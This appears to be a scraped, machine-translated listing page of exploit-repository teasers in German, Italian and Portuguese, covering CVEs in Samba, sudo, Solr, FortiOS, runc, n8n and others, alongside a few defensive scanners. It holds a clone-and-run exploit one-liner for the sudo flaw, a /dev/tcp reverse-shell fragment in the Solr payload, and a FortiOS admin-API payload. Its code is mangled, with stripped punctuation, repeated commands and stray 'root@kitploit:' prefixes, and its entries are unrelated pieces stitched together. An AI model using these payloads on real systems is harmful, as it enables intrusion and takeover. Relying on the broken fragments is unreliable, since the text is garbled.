CVE-2019-19781-DFIR-Notes

Basierend auf einer Splunk -Perspektive. Die folgenden Ressourcen zeigen, dass die Aufnahme Ihrer Logs für eine ordnungsgemäße Analyse der Indicators of Compromise unerlässlich ist. Verschwende nie eine gute Krise... nimm alle Logs auf! Auswirkung / Grundursache: Remote-Befehlsausführung vor...

CVE-2007-2447-in-Python

CVE-2007-2447 - Implementazione in Python Descrizione Implementazione in Python dell'exploit RCE 'Username' map script' per Samba 3.0.20 IP - IP della macchina remota. PORT - Opzionale Porta su cui smb è in esecuzione. PAYLOAD - Payload da eseguire sulla macchina remota, ad esempio reverse shell...

Kernel-exploitation

Kernel-exploitation decompress.sh Estrai il file dall'archivio CPIO root@kitploit: !/bin/sh mkdir fs cd fs cp ../initramfs.cpio.gz ./initramfs.cpio.gz gunzip ./initramfs.cpio.gz cpio -idm ../initramfs.cpio.gz &&\ cd .. &&\ gunzip -f initramfs.cpio.gz &&\ ./run.sh Nel caso di archivio con filesyst...

siofra

Zusammenfassung Siofra ist ein Tool zur Identifizierung und Ausnutzung von DLL-Hijacking-Schwachstellen in Windows-Programmen. Es ist in der Lage, den Windows-Loader zu simulieren, um Einblick in alle Abhängigkeiten und entsprechenden Schwachstellen einer PE-Datei auf der Festplatte zu geben, ode...

CVE-2026-2035703-x300

CVE-2026-2035703: Tozed ZLT X300 5G CPE — Execução Remota de Código como Root via Estação Rádio Base Rogue SDR Status: Sob divulgação coordenada embargo de 90 dias Descoberta: 2026-08-08 Pesquisador: Muhammad Nadeem Danish danish1162 ID CVE: CVE-2026-2035703 Gravidade: Crítica CVSS 9.8 CWE: CWE-7...

CVE-2026-21858

CVE-2026-21858 Piattaforma di Automazione dei Workflow n8n - Esecuzione di Codice Remota Uno strumento di ricerca sulla sicurezza per il rilevamento di CVE-2026-21858, una vulnerabilità critica di esecuzione di codice remota nella piattaforma di automazione dei workflow n8n. Indice dei Contenuti...

BlueDucky

BlueDucky Versione 2.1 Android 🦆 Grazie a tutte le persone di HackNexus. Assicurati di unirti a noi su VC! https://discord.gg/HackNexus NOTE: Non potrò eseguire questo su un laptop o altro dispositivo diverso da un Raspberry Pi per i test. Per questo motivo, eventuali problemi che riscontrerete...

CVE-2021-3156-SCRIPT

CVE-2021-3156-SCRIPT git clone https://github.com/binw2018/CVE-2021-3156-SCRIPT.git && cd CVE-2021-3156-SCRIPT && sh Script.sh...

diario-commandline-tools

diario-commandline-client Cos'è questo? Prerequisiti Installazione Configurazione del progetto Utilizzo Cos'è questo? Un repository di utility creato per semplificare il consumo dell'API diario in batch. Attualmente queste funzioni sono completamente implementate: Caricare un file PDF o documento...

CVE-2025-26318

TSplus Remote Access - CVE-2025-26318 Divulgazione di informazioni dovuta a permessi insicuri 📌 Descrizione TSplus è, per impostazione predefinita, vulnerabile alla divulgazione di informazioni sugli utenti attualmente connessi al dominio su TSplus. 🔍 Dettagli della vulnerabilità ID CVE :...

CVE-2026-43284

Dirty Frag - Linux-Kernel kritische Schwachstelle - CVE-2026-43284 📚 Einführung Die Exploit-Kette, klassifiziert als Local Privilege Escalation LPE , ermöglicht es einem unprivilegierten Benutzer, Root-Zugriff auf praktisch alle modernen Linux-Distributionen zu erlangen, die Kernel ausführen, die...

shai-hulud-scan

shai-hulud-scan Ein Claude Code-Skill, der Maschinen auf Anzeichen einer Kompromittierung IOCs durch den Mini-Shai-Hulud -Supply-Chain-Wurm CVE-2026-45321, CVSS 9.6 scannt. Was ist Mini Shai-Hulud? Ein sich selbst verbreitender Supply-Chain-Wurm, der am 11. Mai 2026 über 170 npm/PyPI-Pakete...

exploitgym-eval

ExploitGym for Inspect This repository runs the pinned Exploi...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2023-31852

CVE-2023-31852 Esiste un attacco di cross-site scripting XSS riflesso nell'interfaccia di gestione basata sul web di Cudy LT400. La pagina /cgi-bin/luci/admin/network/wireless/config presenta XSS riflesso tramite il parametro iface. I metodi di sfruttamento comporterebbero l'invio di una richiest...

CVE-2026-53365

CVE-2026-53365 Dona Supporta la manutenzione di questo progetto con PayPal o scansionando il codice QR qui sotto. ⚡ Uso Semplice Utilizza questo progetto solo in ambienti sicuri e autorizzati, come: Macchine virtuali locali Container Docker Configurazioni di laboratorio isolate Ambienti di test d...

CVE-2024-21626

CVE-2024-21626 POC Requisiti runc 1.1.0 = 1.1.11 Installazione dell'ambiente vulnerabile Distribuire una VM con Ubuntu 20.04 e scaricare Docker seguendo la loro guida root@kitploit: https://docs.docker.com/engine/install/ubuntu/ Sostituire la versione 'runc' patchata in Docker con una vulnerabile...

CVE-2022-40684

CVE-2022-40684 por 1vere$k Por enquanto é uma cópia POC para CVE-2022-40684 que afeta os appliances Fortinet FortiOS, FortiProxy e FortiSwitchManager. Copiado de https://github.com/horizon3ai/CVE-2022-40684 Análise O exploit usa o payload simples: root@kitploit: PUT /api/v2/cmdb/system/admin/admi...

CVE-2023-43208-MIRTHCONNECT

CVE-2023-43208 NextGen Healthcare Mirth Connect vor Version 4.4.1 ist anfällig für nicht authentifizierte Remote-Codeausführung. Beachten Sie, dass diese Schwachstelle durch die unvollständige Behebung von CVE-2023-37679 verursacht wird. ERSTENS: ICH ÜBERNEHME KEINE VERANTWORTUNG FÜR DAS, WAS DU...

CVE-2020-13942

CVE-2020-13942 Führe httpx oder httprob auf den Zielen aus, bevor du das Skript verwendest. VERWENDUNG ./CVE-2020-13942.sh target.txt Danksagung Dieses Skript wurde aus dem Repository von Rohit Gautam erstellt...